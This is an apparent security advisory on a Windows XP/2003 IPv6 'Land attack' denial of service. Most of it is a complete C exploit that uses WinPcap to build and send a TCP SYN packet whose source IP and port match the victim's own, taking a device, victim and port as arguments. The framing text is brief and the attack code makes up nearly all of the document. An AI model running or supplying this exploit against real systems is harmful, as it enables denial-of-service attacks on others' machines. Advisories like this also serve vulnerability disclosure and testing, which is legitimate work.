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Microsoft Windows IPv6 DoS
------------------------------------------------------------------------
SUMMARY
A denial of service vulnerability has been discovered in Microsoft
Windows, as we previously published in:
<http://www.securiteam.com/windowsntfocus/5EP0C2KFQA.html> Microsoft
Windows Land Attack Vulnerability (IPv6). The following exploit code can
be used to test your system for the mentioned vulnerability.
DETAILS
Vulnerable Systems:
* Microsoft Windows XP
* Microsoft Windows 2003 Server
Exploit:
//
// Example usage: LandIpV6
\Device\NPF_{B1751317-BAA0-43BB-A69B-A0351960B28D}
//fe80::2a1:b0ff:fe08:8bcc 135
//
// Written by: Konrad Malewski.
//
#include <stdlib.h>
#include <stdio.h>
#include <Winsock2.h>
#include <ws2tcpip.h>
#include <pcap.h>
#include <remote-ext.h>
///////////////////////////////////////////////////////////////////////////////
///////////// from libnet /////////////
/* ethernet addresses are 6 octets long */
#define ETHER_ADDR_LEN 0x6
typedef unsigned char u_int8_t;
typedef unsigned short u_int16_t;
typedef unsigned int u_int32_t;
typedef unsigned __int64 u_int64_t;
/*
* Ethernet II header
* Static header size: 14 bytes
*/
struct libnet_ethernet_hdr
{
u_int8_t ether_dhost[ETHER_ADDR_LEN];/* destination ethernet address */
u_int8_t ether_shost[ETHER_ADDR_LEN];/* source ethernet address */
u_int16_t ether_type; /* protocol */
};
struct libnet_in6_addr
{
union
{
u_int8_t __u6_addr8[16];
u_int16_t __u6_addr16[8];
u_int32_t __u6_addr32[4];
} __u6_addr; /* 128-bit IP6 address */
};
/*
* IPv6 header
* Internet Protocol, version 6
* Static header size: 40 bytes
*/
struct libnet_ipv6_hdr
{
u_int8_t ip_flags[4]; /* version, traffic class, flow label */
u_int16_t ip_len; /* total length */
u_int8_t ip_nh; /* next header */
u_int8_t ip_hl; /* hop limit */
struct libnet_in6_addr ip_src, ip_dst; /* source and dest address */
};
/*
* TCP header
* Transmission Control Protocol
* Static header size: 20 bytes
*/
struct libnet_tcp_hdr
{
u_int16_t th_sport; /* source port */
u_int16_t th_dport; /* destination port */
u_int32_t th_seq; /* sequence number */
u_int32_t th_ack; /* acknowledgement number */
u_int8_t th_x2:4, /* (unused) */
th_off:4; /* data offset */
u_int8_t th_flags; /* control flags */
u_int16_t th_win; /* window */
u_int16_t th_sum; /* checksum */
u_int16_t th_urp; /* urgent pointer */
};
int libnet_in_cksum(u_int16_t *addr, int len)
{
int sum;
union
{
u_int16_t s;
u_int8_t b[2];
}pad;
sum = 0;
while (len > 1)
{
sum += *addr++;
len -= 2;
}
if (len == 1)
{
pad.b[0] = *(u_int8_t *)addr;
pad.b[1] = 0;
sum += pad.s;
}
return (sum);
}
#define LIBNET_CKSUM_CARRY(x) (x = (x >> 16) + (x & 0xffff), (~(x + (x >>
16))
& 0xffff))
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
u_char packet[74];
struct libnet_ipv6_hdr *ip6_hdr = (libnet_ipv6_hdr *) (packet + 14);
struct libnet_tcp_hdr *tcp_hdr = (libnet_tcp_hdr *) (packet + 54);
struct libnet_ethernet_hdr *eth_hdr = (libnet_ethernet_hdr *) packet;
u_char errbuf[1024];
pcap_t *pcap_handle;
void usage(char* n)
{
pcap_if_t * alldevs,*d;
int i=1;
fprintf(stdout,"Usage:\n"
"\t %s <device> <victim> <port>\n",n);
if (pcap_findalldevs (&alldevs, (char*)errbuf) == -1)
{
fprintf( stderr, "Error in pcap_findalldevs ():%s\n" ,errbuf);
exit(EXIT_FAILURE);
}
printf("Avaliable adapters: \n");
d = alldevs;
while (d!=NULL)
{
printf("\t%d) %s\n\t\t%s\n",i++,d->name,d->description);
d = d->next;
}
pcap_freealldevs (alldevs);
}
///////////////////////////////////////////////////////////////////////////////
int main(int argc, char* argv[])
{
if ( argc<4 )
{
usage(argv[0]);
return EXIT_FAILURE;
}
int retVal;
struct addrinfo hints,*addrinfo;
ZeroMemory(&hints,sizeof(hints));
WSADATA wsaData;
if ( WSAStartup( MAKEWORD(2,2), &wsaData ) != NO_ERROR )
{
fprintf( stderr, "Error in WSAStartup():%d\n",WSAGetLastError());
return EXIT_FAILURE;
}
//
// Get MAC address of remote host (assume link local IpV6 address)
//
hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;
retVal = getaddrinfo(argv[2],0, &hints, &addrinfo);
if ( retVal!=0 )
{
WSACleanup();
fprintf( stderr, "Error in getaddrinfo():%d\n",WSAGetLastError());
exit(EXIT_FAILURE);
}
//
// Open WinPCap adapter
//
if ( (pcap_handle = pcap_open_live (argv[1], 1514,
PCAP_OPENFLAG_PROMISCUOUS,
100, (char*)errbuf)) == NULL )
{
freeaddrinfo(addrinfo);
WSACleanup();
fprintf(stderr, "Error opening device: %s\n",argv[1]);
return EXIT_FAILURE;
}
ZeroMemory(packet,sizeof(packet));
struct sockaddr_in6 *sa = (struct sockaddr_in6 *) addrinfo->ai_addr;
// fill ethernet header
eth_hdr->ether_dhost[0] = eth_hdr->ether_shost[0] = 0;// assume address
like
00:something;
eth_hdr->ether_dhost[1] = eth_hdr->ether_shost[1] =
sa->sin6_addr.u.Byte[9];
eth_hdr->ether_dhost[2] = eth_hdr->ether_shost[2] =
sa->sin6_addr.u.Byte[10];
eth_hdr->ether_dhost[3] = eth_hdr->ether_shost[3] =
sa->sin6_addr.u.Byte[13];
eth_hdr->ether_dhost[4] = eth_hdr->ether_shost[4] =
sa->sin6_addr.u.Byte[14];
eth_hdr->ether_dhost[5] = eth_hdr->ether_shost[5] =
sa->sin6_addr.u.Byte[15];
eth_hdr->ether_type = 0xdd86;
// fill IP header
// source ip == destination ip
memcpy(ip6_hdr->ip_src.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte));
memcpy(ip6_hdr->ip_dst.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte));
ip6_hdr->ip_hl = 255;
ip6_hdr->ip_nh = IPPROTO_TCP;
ip6_hdr->ip_len = htons (20);
ip6_hdr->ip_flags[0] = 0x06 << 4;
srand((unsigned int) time(0));
// fill tcp header
tcp_hdr->th_sport = tcp_hdr->th_dport = htons (atoi(argv[3])); // source
port equal to destination
tcp_hdr->th_seq = rand();
tcp_hdr->th_ack = rand();
tcp_hdr->th_off = htons(5);
tcp_hdr->th_win = rand();
tcp_hdr->th_sum = 0;
tcp_hdr->th_urp = htons(10);
tcp_hdr->th_off = 5;
tcp_hdr->th_flags = 2;
// calculate tcp checksum
int chsum = libnet_in_cksum ((u_int16_t *) & ip6_hdr->ip_src, 32);
chsum += ntohs (IPPROTO_TCP + sizeof (struct libnet_tcp_hdr));
chsum += libnet_in_cksum ((u_int16_t *) tcp_hdr, sizeof (struct
libnet_tcp_hdr));
tcp_hdr->th_sum = LIBNET_CKSUM_CARRY (chsum);
// send data to wire
retVal = pcap_sendpacket (pcap_handle, (u_char *) packet, sizeof(packet));
if ( retVal == -1 )
{
fprintf(stderr,"Error writing packet to wire!!\n");
}
//
// close adapter, free mem.. etc..
//
pcap_close(pcap_handle);
freeaddrinfo(addrinfo);
WSACleanup();
return EXIT_SUCCESS;
}
ADDITIONAL INFORMATION
The information has been provided by Konrad Malewski.
========================================
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